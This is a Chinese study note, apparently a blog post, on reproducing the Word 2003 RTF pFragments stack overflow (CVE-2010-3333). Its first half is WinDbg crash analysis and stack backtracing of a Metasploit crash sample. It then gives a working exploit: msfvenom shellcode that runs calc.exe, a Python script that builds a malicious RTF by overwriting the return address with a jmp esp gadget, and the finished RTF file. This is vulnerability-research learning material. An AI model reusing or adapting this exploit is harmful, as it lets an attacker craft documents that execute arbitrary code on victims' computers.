泉哥《漏洞战争-软件漏洞分析精要》中的第二个漏洞,栈溢出漏洞。这里跟着泉哥书里的讲解来复现这个漏洞,也顺便学习一下windbg的基本使用和基于栈回溯的漏洞分析方法。
这篇笔记里很多直接用了泉哥书里的原话,其实这样不太好(因为自己实在太菜了),等技术上去了还是要自己思考分析,最后再看书对比一下思路比较好。。
漏洞概述 MicroSoft office XP SP3 、Office 2003 SP3、Office 2007 SP2、Office 2010等多个版本的Office软件中的Open XML文件格式转换器存在栈溢出漏洞,主要是在处理RTF中的“pFragments”属性时存在栈溢出,导致远程攻击者可以借助特制的RTF数据执行任意代码,因此该漏洞又名“RTF栈缓冲区溢出漏洞”。
调试环境
操作系统
Windows XP SP3
虚拟机
VMware Workstation 15 Pro
调试器
Windbg
漏洞软件
Microsoft Office Word 2003
漏洞成因 生成Crash的RTF样本 使用msf 生成样本,这里选择可以使程序Crash的样本,用于分析漏洞原理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 msf5 > search cve-2010-3333 Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 1 exploit/windows/fileformat/ms10_087_rtf_pfragments_bof 2010-11-09 great No MS10-087 Microsoft Word RTF pFragments Stack Buffer Overflow (File Format) msf5 > use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof msf5 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > show info Name: MS10-087 Microsoft Word RTF pFragments Stack Buffer Overflow (File Format) Module: exploit/windows/fileformat/ms10_087_rtf_pfragments_bof Platform: Windows Arch: Privileged: No License: Metasploit Framework License (BSD) Rank: Great Disclosed: 2010-11-09 Provided by: wushi of team509 unknown jduck <jduck@metasploit.com> DJ Manila Ice, Vesh, CA Available targets: Id Name -- ---- 0 Automatic 1 Microsoft Office 2002 SP3 English on Windows XP SP3 English 2 Microsoft Office 2003 SP3 English on Windows XP SP3 English 3 Microsoft Office 2007 SP0 English on Windows XP SP3 English 4 Microsoft Office 2007 SP0 English on Windows Vista SP0 English 5 Microsoft Office 2007 SP0 English on Windows 7 SP0 English 6 Crash Target for Debugging Check supported: No Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- FILENAME msf.rtf yes The file name. Payload information: Space: 512 Avoid: 1 characters Description: This module exploits a stack-based buffer overflow in the handling of the 'pFragments' shape property within the Microsoft Word RTF parser. All versions of Microsoft Office 2010, 2007, 2003, and XP prior to the release of the MS10-087 bulletin are vulnerable. This module does not attempt to exploit the vulnerability via Microsoft Outlook. The Microsoft Word RTF parser was only used by default in versions of Microsoft Word itself prior to Office 2007. With the release of Office 2007, Microsoft began using the Word RTF parser, by default, to handle rich-text messages within Outlook as well. It was possible to configure Outlook 2003 and earlier to use the Microsoft Word engine too, but it was not a default setting. It appears as though Microsoft Office 2000 is not vulnerable. It is unlikely that Microsoft will confirm or deny this since Office 2000 has reached its support cycle end-of-life. References: https://cvedetails.com/cve/CVE-2010-3333/ OSVDB (69085) https://technet.microsoft.com/en-us/library/security/MS10-087 http://www.securityfocus.com/bid/44652 http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=880 msf5 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set target 6 target => 6 msf5 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > exploit [*] Creating 'msf.rtf' file ... [+] msf.rtf stored at /root/.msf4/local/msf.rtf
调试Crash样本 用windbg附加打开有漏洞的Microsoft Office Word。然后打开上面生成的能使程序崩溃的rtf样本。然后程序会崩溃,windbg断下。Command窗口信息如下
1 2 3 4 5 6 7 8 9 (c1c.1e4): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0000c8ac ebx=05000000 ecx=00001ac8 edx=00000000 esi=11045d98 edi=00130000 eip=30ed442c esp=0012a24c ebp=0012a284 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll - mso!Ordinal1246+0x16b0: 30ed442c f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
可以看到,导致崩溃的指令是位于mso.dll 模块中。该处指令为【rep movs dword ptr es:[edi],dword ptr [esi]】 ,该条指令的意思是,从**[esi]复制 ecx个双字到 [edi]**。
查看 esi 寄存器所指的内存空间
1 2 3 4 5 6 7 8 9 10 //db命令查看内存空间数据 0:000> db esi 11045d98 32 45 73 33 45 73 34 45-73 35 45 73 36 45 73 37 2Es3Es4Es5Es6Es7 11045da8 45 73 38 45 73 39 45 74-30 45 74 31 45 74 32 45 Es8Es9Et0Et1Et2E 11045db8 74 33 45 74 34 45 74 35-45 74 36 45 74 37 45 74 t3Et4Et5Et6Et7Et 11045dc8 38 45 74 39 45 75 30 45-75 31 45 75 32 45 75 33 8Et9Eu0Eu1Eu2Eu3 11045dd8 45 75 34 45 75 35 45 75-36 45 75 37 45 75 38 45 Eu4Eu5Eu6Eu7Eu8E 11045de8 75 39 45 76 30 45 76 31-45 76 32 45 76 33 45 76 u9Ev0Ev1Ev2Ev3Ev 11045df8 34 45 76 35 45 76 36 45-76 37 45 76 38 45 76 39 4Ev5Ev6Ev7Ev8Ev9 11045e08 45 77 30 45 77 31 45 77-32 45 77 33 45 77 34 45 Ew0Ew1Ew2Ew3Ew4E
查看edi 寄存器所指的内存空间属性,可以看到,该段内存空间是只读 权限的,因此,往这里写入内容当然会触发错误崩溃。
1 2 3 4 5 6 7 8 9 10 11 //!address命令查看内存信息 0:000> !address edi Usage: MemoryMappedFile Allocation Base: 00130000 Base Address: 00130000 End Address: 00133000 Region Size: 00003000 Type: 00040000 MEM_MAPPED State: 00001000 MEM_COMMIT Protect: 00000002 PAGE_READONLY Mapped file name: PageFile
查看栈
1 2 3 4 5 6 7 8 9 0:000> db esp 0012a24c 20 16 4d 01 3c a4 12 00-fb b5 f0 30 20 16 4d 01 .M.<......0 .M. 0012a25c 74 a2 12 00 00 00 00 00-00 00 00 00 00 00 00 00 t............... 0012a26c 00 00 00 00 81 bf 4e 00-41 61 30 41 61 31 41 61 ......N.Aa0Aa1Aa 0012a27c 32 41 61 33 41 61 34 41-61 35 41 61 36 41 61 37 2Aa3Aa4Aa5Aa6Aa7 0012a28c 41 61 38 41 61 39 41 62-30 41 62 31 41 62 32 41 Aa8Aa9Ab0Ab1Ab2A 0012a29c 62 33 41 62 34 41 62 35-41 62 36 41 62 37 41 62 b3Ab4Ab5Ab6Ab7Ab 0012a2ac 38 41 62 39 41 63 30 41-63 31 41 63 32 41 63 33 8Ab9Ac0Ac1Ac2Ac3 0012a2bc 41 63 34 41 63 35 41 63-36 41 63 37 41 63 38 41 Ac4Ac5Ac6Ac7Ac8A
查看mso 模块的详细信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 //lm命令查看模块信息 0:000> lmv m mso start end module name 30c90000 3184c000 mso (export symbols) C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll Loaded symbol image file: C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll Image path: C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll Image name: mso.dll Timestamp: Tue Jun 19 07:53:36 2007 (46771B00) CheckSum: 00BB6E3C ImageSize: 00BBC000 File version: 11.0.8172.0 Product version: 11.0.8172.0 File flags: 0 (Mask 3F) File OS: 40004 NT Win32 File type: 2.0 Dll File date: 00000000.00000000 Translations: 0000.04e4 CompanyName: Microsoft Corporation ProductName: Microsoft Office 2003 InternalName: MSO OriginalFilename: MSO.DLL ProductVersion: 11.0.8172 FileVersion: 11.0.8172 FileDescription: Microsoft Office 2003 component LegalCopyright: Copyright © 1983-2003 Microsoft Corporation. All rights reserved.
因此,这是一处位于mso.dll 模块上的一处栈溢出漏洞,由于在循环复制内存数据到栈上时,没有检测复制的内存大小,导致覆盖到0x1300000 这个只读内存地址,最后造成访问违例。触发异常的指令地址0x30ed442c 位于函数sub_30ed4406 中,先将其标记为CrashFun 函数。重新再用Windbg加载运行,在触发错误的指令处下断点。运行后断下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 //下断点、运行 0:004> bp 30ed442c *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll - 0:004> bl 0 e 30ed442c 0001 (0001) 0:**** mso!Ordinal1246+0x16b0 0:004> g ModLoad: 762d0000 762e0000 C:\WINDOWS\system32\winsta.dll ModLoad: 5fdd0000 5fe25000 C:\WINDOWS\system32\NETAPI32.dll ModLoad: 36c30000 36c3c000 C:\Program Files\Microsoft Office\OFFICE11\msostyle.dll ModLoad: 0a430000 0a5d1000 C:\Program Files\Microsoft Office\OFFICE11\GdiPlus.DLL ModLoad: 76f20000 76f28000 C:\WINDOWS\system32\WTSAPI32.DLL ModLoad: 762d0000 762e0000 C:\WINDOWS\system32\WINSTA.dll ModLoad: 5fdd0000 5fe25000 C:\WINDOWS\system32\NETAPI32.dll Breakpoint 0 hit eax=0000c8ac ebx=05000000 ecx=0000322b edx=00000000 esi=1104000c edi=0012a274 eip=30ed442c esp=0012a24c ebp=0012a284 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 mso!Ordinal1246+0x16b0: 30ed442c f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
断下后查看栈回溯,定位是哪个函数调用到崩溃函数的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 0:000> kb ChildEBP RetAddr Args to Child WARNING: Stack unwind information not available. Following frames may be wrong. 0012a284 30f0b56b 0012a3f0 00000000 ffffffff mso!Ordinal1246+0x16b0 //当前函数 0012a2b4 30f0b4f9 0012a43c 0012a3f0 00000000 mso!Ordinal1273+0x2581 //上层函数 0012a500 30d4d795 00000000 0012a540 00000000 mso!Ordinal1273+0x250f 0012a528 30d4d70d 30d4d5a8 014d19fc 014d1a34 mso!Ordinal5575+0xf9 0012a52c 30d4d5a8 014d19fc 014d1a34 014d18e4 mso!Ordinal5575+0x71 0012a530 014d19fc 014d1a34 014d18e4 30dce40c mso!Ordinal4099+0xf5 0012a534 014d1a34 014d18e4 30dce40c 00000000 0x14d19fc 0012a538 014d18e4 30dce40c 00000000 014d1648 0x14d1a34 0012a53c 30dce40c 00000000 014d1648 0012b2ec 0x14d18e4 0012a540 00000000 014d1648 0012b2ec 00000000 mso!Ordinal2940+0x1588c 0:000> ub mso!Ordinal1273+0x2581 mso!Ordinal1273+0x256d: 30f0b557 23c1 and eax,ecx 30f0b559 50 push eax 30f0b55a 8d47ff lea eax,[edi-1] 30f0b55d 50 push eax 30f0b55e 8b4508 mov eax,dword ptr [ebp+8] 30f0b561 6a00 push 0 30f0b563 ff750c push dword ptr [ebp+0Ch] 30f0b566 e857000000 call mso!Ordinal1273+0x25d8 (30f0b5c2)
因此,CrashFun函数是在0x30f0b5c2 函数中被调用的。而之所以栈回溯中没有显示对CrashFun函数的调用,是因为,CrashFun函数是没有作push ebp ; mov ebp, esp
这样的建立自己函数栈帧的操作,因此windbg无法识别这个函数的栈帧。
重新用windbg加载word进程,并在0x30f0b5c2 函数上下断点,运行后断下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 0:004> bp 30f0b5c2 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll - 0:004> bl 0 e 30f0b5c2 0001 (0001) 0:**** mso!Ordinal1273+0x25d8 0:004> g ModLoad: 762d0000 762e0000 C:\WINDOWS\system32\winsta.dll ModLoad: 5fdd0000 5fe25000 C:\WINDOWS\system32\NETAPI32.dll ModLoad: 36c30000 36c3c000 C:\Program Files\Microsoft Office\OFFICE11\msostyle.dll ModLoad: 0a350000 0a4f1000 C:\Program Files\Microsoft Office\OFFICE11\GdiPlus.DLL ModLoad: 76f20000 76f28000 C:\WINDOWS\system32\WTSAPI32.DLL ModLoad: 762d0000 762e0000 C:\WINDOWS\system32\WINSTA.dll ModLoad: 5fdd0000 5fe25000 C:\WINDOWS\system32\NETAPI32.dll Breakpoint 0 hit eax=0012a43c ebx=00000000 ecx=0012a2b0 edx=00000000 esi=00000000 edi=00000000 eip=30f0b5c2 esp=0012a288 ebp=0012a2b4 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 mso!Ordinal1273+0x25d8: 30f0b5c2 55 push ebp
单步调试
单步调试到0x30f0b5f8 时,就会调用**CrashFun函数(sub_30ed4406)**进行内存数据复制:
1 2 3 4 5 6 0:000> p eax=30da33d8 ebx=05000000 ecx=0012a274 edx=00000000 esi=014d1620 edi=0012a43c eip=30f0b5f8 esp=0012a258 ebp=0012a284 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 mso!Ordinal1273+0x260e: 30f0b5f8 ff501c call dword ptr [eax+1Ch] ds:0023:30da33f4=30ed4406
继续单步,调试到0x30ed4429 时,可以看到,此时ecx 寄存器中的值(即需要复制的数据大小)为0x0000c8ac。由于复制时是dword双字操作(4字节),因此要将ecx除以4(即逻辑右移二位)
1 2 3 4 5 6 7 8 9 10 11 12 0:000> p eax=0000c8ac ebx=05000000 ecx=0000c8ac edx=00000000 esi=1104000c edi=0012a274 eip=30ed4429 esp=0012a24c ebp=0012a284 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 mso!Ordinal1246+0x16ad: 30ed4429 c1e902 shr ecx,2 0:000> p eax=0000c8ac ebx=05000000 ecx=0000322b edx=00000000 esi=1104000c edi=0012a274 eip=30ed442c esp=0012a24c ebp=0012a284 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 mso!Ordinal1246+0x16b0: 30ed442c f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
此时查看一下esi寄存器所指地址(复制源地址)中的数据
1 2 3 4 5 6 7 8 9 0:000> db esi 1104000c 41 61 30 41 61 31 41 61-32 41 61 33 41 61 34 41 Aa0Aa1Aa2Aa3Aa4A 1104001c 61 35 41 61 36 41 61 37-41 61 38 41 61 39 41 62 a5Aa6Aa7Aa8Aa9Ab 1104002c 30 41 62 31 41 62 32 41-62 33 41 62 34 41 62 35 0Ab1Ab2Ab3Ab4Ab5 1104003c 41 62 36 41 62 37 41 62-38 41 62 39 41 63 30 41 Ab6Ab7Ab8Ab9Ac0A 1104004c 63 31 41 63 32 41 63 33-41 63 34 41 63 35 41 63 c1Ac2Ac3Ac4Ac5Ac 1104005c 36 41 63 37 41 63 38 41-63 39 41 64 30 41 64 31 6Ac7Ac8Ac9Ad0Ad1 1104006c 41 64 32 41 64 33 41 64-34 41 64 35 41 64 36 41 Ad2Ad3Ad4Ad5Ad6A 1104007c 64 37 41 64 38 41 64 39-41 65 30 41 65 31 41 65 d7Ad8Ad9Ae0Ae1Ae
再用winhex看一下rtf样本数据
可以看到,上面ecx寄存器中的0x0000acc8是来自样本数据的,位于pFragments 属性值的第三个字段,偏移8个字节后的4个字符即为复制数据的大小(上图红框),而0xacc8后的数据正是实际内存复制的数据(上图黑框),与复制内存原地址esi指向的内容是一致的。
而复制内存的目的地址edi偏移栈帧底部ebp共0x10字节。由于复制的内存数据较大,导致复制的过程中覆盖到不可写的内存地址而出发异常,因此没有去执行覆盖到的返回地址或者SEH异常处理函数。
漏洞成因总结 由于Word中的RTF分析器在解析pFragments 属性值时,没有计算属性值所需的内存空间大小,只要复制的数据大小超过0x14(加上ebp占用的4字节),即可覆盖到返回地址或者SEH结构,进而劫持程序的执行流程。
漏洞利用 Jmp ESP 第一种方法,直接覆盖返回地址 为jmp esp
的地址,然后在栈上布置shellcode 即可。一个可用的jmp esp
地址为0x7ffa4512
,而shellcode 可以直接用msfvenom 生成。
生成shellcode:
1 2 3 4 5 6 root@kali:~# msfvenom -a x86 -p windows/exec cmd=calc.exe -f hex [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload No encoder or badchars specified, outputting raw payload Payload size: 193 bytes Final size of hex file: 386 bytes fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6a018d85b20000005068318b6f87ffd5bbf0b5a25668a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd563616c632e65786500
将shellcode填充进文件中时,需要注意的是,rtf文件中的数据是hex格式,因此,内存中的一字节,rtf中要用两个字符来表示,因此,复制数据时,目标地址距离ebp为0x10,加上old ebp的4字节,需要填充0x14字节,再乘2即40个字符。而由于是0x30f0b5c2 函数的栈帧,所以覆盖的是0x30f0b5c2 的返回地址,这个函数返回时用的是retn 14h
相当于,ret ; add esp, 14h
,因此,还需要在jmp esp
地址和shellcode中间填充0x14*2=40个字符。
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #CVE-2010-3333 my_exp.py #-*-coding:utf8-*- data = '''{\\rtf1{}{\shp{\*\shpinst{\sp{\sn pfragments}{\sv1;1;11111111''' data += '0010' #复制数据的长度 data += '1'*0x20+'1'*8 #循环复制目的地址与返回地址中的填充 data += '1245fa7f' #返回地址 jmp esp指令地址 data += '0'*0x14*2 #jmp esp指令地址与shellcode之间的填充 shellcode = 'fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4' \ 'c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b' \ '8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6a018d85b20000005068318b6f87ffd5bbf0b5a25668a69' \ '5bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd563616c632e65786500' data += shellcode data += '}}}}}' print(len(shellcode)) print(data) with open('exp_jmp_esp.rtf', 'w') as f: f.write(data) f.close()
exp_jmp_esp.rtf:
1 {\rtf1{}{\shp{\*\shpinst{\sp{\sn pfragments}{\sv1;1;11111111001011111111111111111111111111111111111111111245fa7f0000000000000000000000000000000000000000fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6a018d85b20000005068318b6f87ffd5bbf0b5a25668a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd563616c632e65786500}}}}}
如上,可成功弹出计算器。